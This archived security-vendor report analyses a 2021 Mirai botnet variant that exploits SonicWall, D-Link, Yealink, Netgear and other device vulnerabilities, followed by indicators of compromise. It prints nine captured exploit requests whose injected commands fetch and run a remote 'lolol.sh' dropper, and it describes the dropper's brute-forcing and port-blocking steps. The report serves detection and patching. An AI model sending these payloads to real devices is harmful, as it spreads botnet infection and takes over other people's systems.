New Mirai Variant Targeting Network Security Devices

By Vaibhav Singhal, Ruchna Nigam, Zhibin Zhang, Asher Davila

Published: 2021-03-16 · Archived: 2026-04-02 10:48:24 UTC

Executive Summary

On Feb. 16, 2021, Unit 42 researchers discovered attacks leveraging a number of vulnerabilities, including:

- VisualDoor (a SonicWall SSL-VPN exploit).
- CVE-2020-25506 (a D-Link DNS-320 firewall exploit).
- CVE-2020-26919 (a Netgear ProSAFE Plus exploit).
- Possibly CVE-2019-19356 (a Netis WF2419 wireless router exploit).
- Three other IoT vulnerabilities yet to be identified.

On Feb. 23, 2021, one of the IPs involved in the attack was updated to serve a Mirai variant leveraging CVE-2021-27561 and CVE-2021-27562, mere hours after vulnerability details were published. On March 3, 2021, the same samples were served from a third IP address, with the addition of an exploit leveraging CVE-2021-22502. Furthermore, on March 13, an exploit targeting CVE-2020-26919 was also incorporated into the samples.

The attacks are still ongoing at the time of this writing. Upon successful exploitation, the attackers try to download a malicious shell script, which contains further infection behaviors such as downloading and executing Mirai variants and brute-forcers.

Palo Alto Networks Next-Generation Firewall customers with Threat Prevention, WildFire and URL Filtering security subscriptions, as well as AutoFocus can detect and block all the exploit attempts from this kind of malware family.

Vulnerabilities Being Exploited

Five known vulnerabilities and three unknown vulnerabilities were exploited in this attack. Upon successful exploitation, the wget utility is invoked to download a shell script from the malware infrastructure. The shell script then downloads several Mirai binaries compiled for different architectures and executes these downloaded binaries one by one. Vulnerability information is shown in Table 1, below.

ID	Vulnerability	Description	Severity
1	VisualDoor	SonicWall SSL-VPN Remote Command Injection Vulnerability	Critical
2	CVE-2020-25506	D-Link DNS-320 Firewall Remote Command Execution Vulnerability	Critical
3	CVE-2021-27561 and CVE-2021-27562	Yealink Device Management Pre-Auth ‘root’ Level Remote Code Execution Vulnerability	Critical
4	CVE-2021-22502	Remote Code Execution Vulnerability in Micro Focus Operation Bridge Reporter (OBR), affecting version 10.40	Critical
5	CVE-2019-19356	Resembles the Netis WF2419 Wireless Router Remote Code Execution Vulnerability	High

6	CVE-2020-26919	Netgear ProSAFE Plus Unauthenticated Remote Code Execution Vulnerability	Critical
7	Unidentified	Remote Command Execution Vulnerability Against an Unknown Target	Unknown
8	Unidentified	Remote Command Execution Vulnerability Against an Unknown Target	Unknown
9	Unknown Vulnerability	Vulnerability Used by Moobot in the Past, Although the Exact Target is Still Unknown	Unknown

Table 1. List of vulnerabilities.

Exploit Payloads

1. VisualDoor: SonicWall SSL-VPN Remote Command Injection Vulnerability

```
GET /cgi-bin/jarrewrite.sh

HTTP/1.1
User-Agent: () { :; }; echo ; /bin/bash -c "cd /tmp; wget http:/                    lolol.sh;
chmod 777 lolol.sh; sh lolol.sh"
```

Figure 1. VisualDoor SonicWall SSL-VPN exploit payload.

The exploit of SonicWall SSL-VPN targets an old version of Bash, which is vulnerable to ShellShock. An attacker can send a crafted Common Gateway Interface (CGI) request to a particular shell script leading to an unauthenticated remote code execution (RCE) vulnerability.

2. CVE-2020-25506: D-Link DNS-320 Firewall Remote Command Execution Vulnerability

```
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`cd /tmp; wget http://
lolol.sh; chmod 777 lolol.sh; sh lolol.sh` HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
```

Figure 2. D-Link DNS-320 exploit payload.

The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.

3. CVE-2021-27561 and CVE-2021-27562: Yealink Device Management Pre-Auth ‘root’ Level Remote Code Execution Vulnerability

```
GET /premise/                    url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/                    cd /
tmp; wget http:/                    lolol.sh; chmod 777 lolol.sh; sh lolol.sh; HTTP/1.1
Host:
User-Agent: curl/7.64.1
Accept: */*
```

Figure 3. Yealink Device exploit payload

The exploit works by chaining a pre-auth Server-Side Request Forgery (SSRF) vulnerability and a command injection vulnerability, making it possible to execute commands as root without authentication, simply by sending an HTTPS request to the remote target.

4. CVE-2021-22502: Micro Focus Operation Bridge Reporter (OBR) Remote Code Execution

```
POST /                                          HTTP/1.1
Host:
User-Agent: curl/7.64.1
Accept: */*
Content-Type: application/json
Content-Length: 76

{\"userName\":"
```

Figure 4. Micro Focus Operation Bridge Reporter exploit payload.

The exploit works due to the unsanitized use of the “username” and “password” parameters in requests made to the LogonResource API. The vulnerability can be exploited to allow unauthenticated RCE as root on the OBR server.

5. CVE-2019-19356: Netis WF2419 Wireless Router Remote Code Execution Vulnerability

```
POST /cgi-bin-                    ?tools_type=1&tools_ip_url=       cd /tmp|wget http:/,
lolol.sh|chmod 777 lolol.sh|sh HTTP/1.1
Host: 127.0.0.1
Cache-Control: no cache
Content-Type:application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
80.0.3987.87 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Referer: http://127.0.0.1/index.htm
Accept-Encoding: zh-CN,zh;q=0.9
Connection: close
```

Figure 5. Netis WF2419 exploit payload.

The exploit targets an RCE vulnerability in a diagnostic tool utility. An authenticated attacker can perform command execution via multiple vulnerable parameters such as IP address or domain name.

6. CVE-2020-26919: Netgear ProSAFE Plus Unauthenticated Remote Code Execution Vulnerability

```
POST /login.htm HTTP/1.1

Accept: */*
Connection: close
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Content-Length: 149
Content-Type: application/x-www-form-urlencoded

submitId=debug&debugCmd=
lolol.sh;chmod+777+lolol.sh;sh+lolol.sh&submitEnd=
```

Figure 6. Netgear ProSAFE exploit payload.

The exploit targets debug web sections and an attacker can execute system commands through it. This is due to lack of proper checks on access controls leading to RCE with administrator privileges.

7. Unidentified vulnerability (lang parameter command injection)

```
GET              ?lang=cd /tmp wget http://                    sh /tmp/kh'$/lolol.sh HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent:
```

Figure 7. Unidentified vulnerability exploit payload.

The exploit of an unidentified vulnerability targets a command injection vulnerability in certain components. The component does not successfully sanitize the value of the HTTP parameter lang, which in turn leads to arbitrary command execution.

8. Unidentified vulnerability (key parameter command injection)

```
POST /cgi-bin/           HTTP/1.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

key=';`cd /tmp; wget http://              lolol.sh; chmod 777 lolol.sh; sh lolol.sh;`;#
```

Figure 8. Unidentified vulnerability exploit payload.

The unknown exploit targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection.

9. Unknown vulnerability (op_type parameter command injection)

```
POST /op_type=                  :d /tmp; wget http://              lolol.sh; chmod 777 lolol.sh;
sh lolol.sh HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
```

Figure 9. Unidentified vulnerability exploit payload.

This exploit targets the op_type parameter, which is not properly sanitized leading to a command injection. It has been observed in the past being used by Moobot, however the exact target is unknown.

Malware Behaviors

Binary	Functionality
lolol.sh	After deleting some key folders from the target machine (such as ones containing the existing scheduled jobs, as well as startup scripts), this script downloads the “dark” binaries explained below, saves them to a misleadingly named file “nginx” and tries to run each one. Since the “dark” binaries downloaded are each compiled for a different architecture, only the one compatible with the target machine would actually execute. Following that, it schedules a job that would (supposedly) run every hour to rerun the lolol.sh script. However, the cron configuration is incorrect. This would have been an attempt to ensure the process is re-launched in case it crashes or is killed for some other reason. Finally, several packet filter rules are created to block incoming traffic directed at commonly used ports like the standard SSH, HTTP and telnet ports, among others. This is probably to make maintenance of and remote access to the affected system more challenging for an administrator. In one of the two observed versions of the script, it also downloads and runs the “install.sh” script described below.
install.sh	This script downloads GoLang v1.9.4 onto the target system and adds it to the system path. In addition, it also installs the GoLang standard SSH package and zmap (a common network-scanning package). It also downloads the “nbrute” binaries and the “combo.txt” file described below. As was the case for the previous script, the “nbrute” binaries downloaded are each compiled for a different architecture, increasing the probability of compatibility with the target machine.

	Finally, zmap is run to scan port 22, and IPs found with port 22 open are sent as input to the nbrute binary.
nbrute.[arch]	These binaries are written in GoLang and mainly serve the purpose of brute-forcing the various credentials found in “combo.txt” while initiating an SSH connection with a certain IP.
combo.txt	Plain text file containing numerous combinations of credentials (often default credentials on devices).
dark.[arch]	These binaries are based on the Mirai codebase, and mainly serve the purpose of propagation – either using the exploits described in the section above, or by brute-forcing SSH connections using some hard-coded credentials in the binary. The key used for the standard Mirai byte-wise XOR encryption routine is 0xbaadf00d.

Table 2. Malware behaviors.

Conclusion

The IoT realm remains an easily accessible target for attackers. Many vulnerabilities are very easy to exploit and could, in some cases, have catastrophic consequences. We strongly advise customers to apply patches whenever possible.

Palo Alto Networks customers are protected from the aforementioned vulnerabilities by the following products and services:

- Next-Generation Firewalls with the Threat Prevention security subscription can block the attacks with best practices via threat prevention signatures 90776, 90553, 55228, 57842, 59191, 90302, 90808, 90824 and 90555.
- WildFire can stop the malware with static signature detections.
- URL Filtering blocks malicious malware domains.
- AutoFocus users can track exploit activity using the tags VisualDoor, CVE-2020-25506, CVE-2021-27562, CVE-2021-25502 and CVE-2020-26919.

Indicators of Compromise

Samples

First Seen	URL	SHA256
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.arm5	60135a7817a0a1734c2e211a8613873548f4611fddc8666890f6a69860c43e61
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.arm6	087fc3206ddb94e80118e7e7f0215c88409a0071b657d21071e15b7917f7cc4e
Mar 13,	203[.]159.80.241/bins/dark.arm7	33f75999a3b4c354b6281399e541b97fd6463c5cd2ab13a538522d72a8870f30

2021 02:43 UTC		
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.m68k	02d48570f1089e2e7f4f9256bb033136c773834af31054e477e094e48cba110e
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.mips	45ff08b1de872379f965d423a0f4e1f2e82f0ea8d101220b83d3aed3b2e7f1c9
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.mpsl	85acead88180809d47524aac87d6f76799e7c0a1729d9614446be73aa8e7d871
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.ppc	0bbdb062ecfae7e1b59084a5e5fe052908ecfdea7db0777a9c318e9e55fdb5ff
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.sh4	77a1f62dc76cc9ee2d924008a0fdcc329396021f027ebe1cfa468f9625c2455b
Mar 13, 2021 02:43 UTC	203[.]159.80.241/bins/dark.x86	8d11635019b077d36ce7de2a3ca9261f126e0ff5808f722fcb967e7cd000be23
Mar 11, 2021 19:22 UTC	203[.]159.80.241/bins/dark.arm7	519b2d04e80c2cb7c000a3c00cb30098df363bd825281b2b7384d964b832df3b

Mar 11, 2021 19:22 UTC	203[.]159.80.241/bins/dark.arm6	7a571f666c8f272cce1ee7ad75520a013bbed800e7d0c80a17804500a3474a13
Mar 11, 2021 19:22 UTC	203[.]159.80.241/bins/dark.arm5	5d7487a5d6febb015a21a98eddffc617cfc06453fe2a7dacac6e1719f56c56fb
Mar 11, 2021 19:22 UTC	203[.]159.80.241/bins/dark.mpsl	e9d056afe12210ddf98967e3291127ef9d0d24cbd36862ebc8b0726a565eefb8
Mar 11, 2021 19:22 UTC	203[.]159.80.241/bins/dark.mips	73aaf3ce3e5ea7a598f01d727e8278ff64ff0067fc2f2b22387b09de64c2ff4f
Mar 11, 2021 13:12 UTC	203[.]159.80.241/bins/dark.x86	64f9bc6e925fd2f538c89fd8a8c25d11521b9fcc51c8c5308e9850c990bea04b
Mar 11, 2021 12:59 UTC	203[.]159.80.241/bins/dark.ppc	0c4ec06f32d5f15846239d224d68086cbeaf513b63f0fcafa4eddd8e18a3d372
Mar 11, 2021 12:30 UTC	203[.]159.80.241/bins/dark.sh4	2f590f5af68dd30cdd51de85cb55dd16160ffce16dd326b2ac4c85e0007fca51
Mar 11, 2021 12:30 UTC	203[.]159.80.241/bins/dark.m68k	cd59c912b9af910db1880d6fb86cd6cb656477552cf2c2fc82e372bafbe004b8
Mar 5,	45[.]133.1.133/bins/dark.ppc	63e66d6f0ddf5fea5b1f71643bdb30f3fff4531c364b6fd1b0e0e0cfe5da833f

2021 14:13 UTC		
Mar 4, 2021 10:19 UTC	45[.]133.1.133/bins/dark.m68k	0a664a74fcc00910170edcd5f548569b40c2c5d58fc5ced1f475dbe938684e17
Mar 4, 2021 10:19 UTC	45[.]133.1.133/bins/dark.mips	05102e5abb23c761426c2c0f19f70f650938ea9e9295ccbb92349513c1d26c63
Mar 4, 2021 10:19 UTC	45[.]133.1.133/bins/dark.mpsl	cc996d19c3e9b732b5f61fb7a2ad20a4f9e1fd7e62f484f15c7cc984a32dec01
Mar 4, 2021 10:19 UTC	45[.]133.1.133/bins/dark.sh4	f05225fec1fda7c6405e6961207ee12e198272d352144f516e970829a74093e2
Mar 4, 2021 10:19 UTC	45[.]133.1.133/bins/dark.x86	9aa0ded21b8c21075a6ad24180befc47dbfeb3985a433f1baa6181ec945a19b9
Mar 3, 2021 14:24 UTC	45[.]133.1.133/lolol.sh	ecae298b18493bf2366f6081e8215a474cce4554e07a7b2380a7f8e8a3a9a37d
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.arm5	fb940b1049e0e95c03adb7a2750347108cadf6b19ef4149a5103f7625c07c8ec

Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.arm6	515dc2fd8819c7fc82395acc4c7fb5b2903982a5f48bc26bc8d0235bc0664d1f
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.arm7	a9c4ea40b08ce4281c2dc9776355186dfc5649f9ec2b36c32fa5540f8d2aef2d
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.m68k	ac75cb71c2f052141a238b8f7215d5a0956f7034cf90f231d228ce58254d23ba
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.mips	1e56f8ca44f84eff212805fa061ecb0f6fb8bc9499ff2e541ad3c43fb2f4420a
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.mpsl	1d9496814d35d9e302d7e99339e9730fc81c022bc085c0711b73ebad962cbc2b
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.ppc	971b5a96d84ca0d7dd906b639cd97a04835013be32356d09037cff64516c73bf
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.sh4	e2a6ac516ec8b5dcc76becc26cf992434882d490d8f2c9d7071298dba7a641a2
Mar 3, 2021 14:24 UTC	45[.]133.1.133/bins/dark.x86	a5ca43106a713c4a8e978575b8685889c244501288b9fa7c7dc7f1e8c5ef1291
Feb 26,	iotlmao[.]xyz/bins/dark.m68k	a6cb6356432ca83467f6da2168be2aabbabe5d2f2dd4c01d6c4a93d01a57df53

2021 13:14 UTC		
Feb 26, 2021 13:14 UTC	iotlmao[.]xyz/bins/dark.sh4	c686712f9be64e3d2957754ce181e5b4680b205cb6773b85b35df57983ed31cf
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.arm5	8cc6375f2eabe865e8400f27381a513a69e4100748458c3d2c706f3d4002bf1e
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.arm6	4414bf4f41663a6458372bcc4743d6e50bbb2d40c26d71bcb945926c98cd5537
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.arm7	8d0beb4b143dc4a9543b4bc5d7f44a6771a973709aaf8c3a4754d120b99d0afd
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.m68k	f9770197d2254e6d5d4cb872b07dc25feb2994d4d5f0b3c854a98f9dfa3c6854
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.mips	74ab77e1069c6fb32925e89563c57f09c842cad0de6ab6b7c9ec2fa44d2641b1
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.mpsl	0039231b2fd5e5a3d86ae3b626d35b8fed7f2887a58e32b480ac82cd82150f7c

Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.ppc	9d55aa1d9841be74cdc0c9d0a9fe2f20e0704ea30c721a7b2dcae02675416629
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.sh4	7aa437a562f3a956cf60fce652e6a0fb2d3c7cda0e5312c1a7fa62e177c45906
Feb 24, 2021 15:59 UTC	185[.]239.242.63/bins/dark.x86	8e65d7b16939834e1cd86b36b495924d34f10a8c477b53c9c8e648c804b97c2d
Feb 24, 2021 15:59 UTC	185[.]239.242.63/lolol.sh	5715d9c632c646c856f2775de8e98c00cade29f7bfb6fbe33a5741b01e897521
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.arm	5525b282df49206e76e884ca0f86806ddc97ec08343bab1d9a98f029a2697b08
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.arm5	b82b8957a4397eae1061a74fb7a8014cbbcbe7064d4edf2e0b15233fd2ce8cca
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.arm6	ec9dc19758ba74fb254c69d2b60ae1012b1bd65390e936990e4bd8573bcb83aa
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.arm7	38d8f2d17b3b676f5258a28b6b4093a1c3cdfa0d34d97c80d86686a3cff7ed55
Feb 23,	185[.]239.242.63/bins/dark.m68k	b066b1c1d019fc97e3649b99ad10294783b13a12b67d34b9c8500e762c37b7e7

2021 09:03 UTC		
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.mips	904b086dbf3e8f4dd1711d758d54675ce2d6002ff607a72d72d7e3aea612ba7d
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.mpsl	4f6a9d2c775e0ba38189390aa7975973209f8e703d6f974c2ab67c97ad263204
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.ppc	c26401490ab9343b023f1f89b39d8d32835a795117ef7d7a129871bc05010dd6
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.sh4	73b35ddbf9784a6f6ebad7f5a1f4965daedc2f92cbb45a9cb76e61c0104bf553
Feb 23, 2021 09:03 UTC	185[.]239.242.63/bins/dark.x86	a925f0486b33f3f05d610d33c5a4b6bb2d5531c89e804e001ec01c4f5c25975e
Feb 23, 2021 09:03 UTC	185[.]239.242.63/lolol.sh	4fe20e73217d0bde39616ebf6f50f0f27882f939537561849f7b17968c5b8e30
Feb 22, 2021 16:30 UTC	37[.]46.150.102/bins/dark.mpsl	6b1bea5f17eb2c16815b8cb87d6e24e707248e5384fc4dd33c86c189657c73ff

Feb 22, 2021 16:30 UTC	37[.]46.150.102/bins/dark.ppc	918395bac079ab747736246b9d84e66921774d3eb95bb47045704624646b1287
Feb 22, 2021 16:30 UTC	37[.]46.150.102/bins/dark.sh4	528179f34ed9a6e69f582c23b3cbb50343164bf0e5995624a8d16f8b0df202e8
Feb 22, 2021 16:30 UTC	37[.]46.150.102/bins/dark.x86	f05d21a5b4b72a761c1540f1400dff7e39f10ac1c8b843ec8986d2e780a7807a
Feb 22, 2021 16:30 UTC	37[.]46.150.102/lolol.sh	b3a20c8dfa5adaa8247c4d2097f3cc8423b4e270c9735f616628bf9bde583cbe
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.arm5	2102b6a9f4b6745b0963ac3040945fb351c3d7df5b8e75dbc4ebf587c921998f
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.arm6	bfd14a2f5c26501efb5d4010839b7d0bbc9a639d86ab5d12af663de598f15427
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.arm7	d9f7504b3fe81f5264da5f23bdb7529f6d1dd713e28a92828180787729872a8d
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.m68k	40808fb06796aeb740368b9bc322c12193d1bebb8e5eeddc420a98db6ac82689
Feb 22,	185[.]239.242.63/bins/dark.mips	3c47dceb9b8fbb0d40c3f1efa8ebc8d7dcf82aa0af46c4486ec3fc8ca29a83b2

2021, 12:32 UTC		
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.mpsl	d31f1fecde01cc37950dc5b5330cd72e8ab1943f251bdfa5990f0d9d3a0a8e8f
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.ppc	5446350c771766589e6d79e8185e10fcc0a6681eb76723b7f26dfef03c9080a5
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.sh4	02f08ccc4a4136c89276135664267e08f1bb6795842a84c06c15478d3c3101e6
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/bins/dark.x86	f467e6335a4a0250a17d61b3d138b31998f3e6669e1fcd1c3648db1b44b55ffa
Feb 22, 2021, 12:32 UTC	185[.]239.242.63/lolol.sh	4fe20e73217d0bde39616ebf6f50f0f27882f939537561849f7b17968c5b8e30
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/brute/combo.txt	6a68acd757fab908b2455c9b5882c25ab4a550121c2badb960b0a514a04a8d3d
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/brute/nbrute.386	baedd59eba62c289dcb722588895eb165f4a1570b3c012efc3dcc60d3bdea521

Feb 16, 2021, 11:01 UTC	37[.]46.150.102/brute/nbrute.amd64	8524826a687491c6bfd161df3e4fb2f537f50ea32834d7710dcf3b788a5ddfc2
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/brute/nbrute.arm	4f69555ab71b49c2c1067f0907eb73b185327b57c566a8311ba9f9e58f4e85a5
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/brute/nbrute.mips	a5c2b758da21d7895c7945de8684c9b27370af6c5bf48ce3d946262619826 59f
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/brute/nbrute.mipsle	b37da8e6afa2b3223b1f8f73e6801cf3fed3c0f114cfb9c134b5f06322a337ca
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.arm5	a447bb67be310702807ff148f53f2b4c64ddba0c37f92caf6acabdfaa9ad6603
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.arm6	b2122c5a9c738d964fa770760db40d6708de377e2e671feccb836054ceda2f47
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.arm7	80cd13bfcc2fc29096abf18525d17766700a6d25a9806e55c7b7de776cba0302
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.m68k	66ea76a427b69f153486f962baff29d4a68393e985c7d88c94d773b25ad4964a
Feb 16,	37[.]46.150.102/bins/dark.mips	def1959fae2d8a3dfe606126ceb9d5403deae97a4b4e216dc8e60354980eeac4

2021, 11:01 UTC		
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.mpsl	667640d293e4ce2287546fc2e0056ee14f414868bf5b77f72078096c516a9fb0
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.ppc	beb0b7178b242f2dba21c3d91abf80e8738847b8086d2a42e9352738c83542b5
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.sh4	554bee9f896a7a013804485894875348ff760b08ff7b0ae14c210e2b37da75f6
Feb 16, 2021, 11:01 UTC	37[.]46.150.102/bins/dark.x86	2a09719254934fe8ee8f200a0a7537d35a293fe1f8d0e396e23374e9b209f273

Table of Contents

-
- Executive Summary
- Vulnerabilities Being Exploited
- Malware Behaviors
- Conclusion
- Indicators of Compromise

Related Articles

- Understanding the Russian Cyberthreat to the 2026 Winter Olympics
- FrostyGoop's Zoom-In: A Closer Look into the Malware Artifacts, Behaviors and Network Communications
- It Was Not Me! Malware-Initiated Vulnerability Scanning Is on the Rise

Enlarged Image

Source: https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/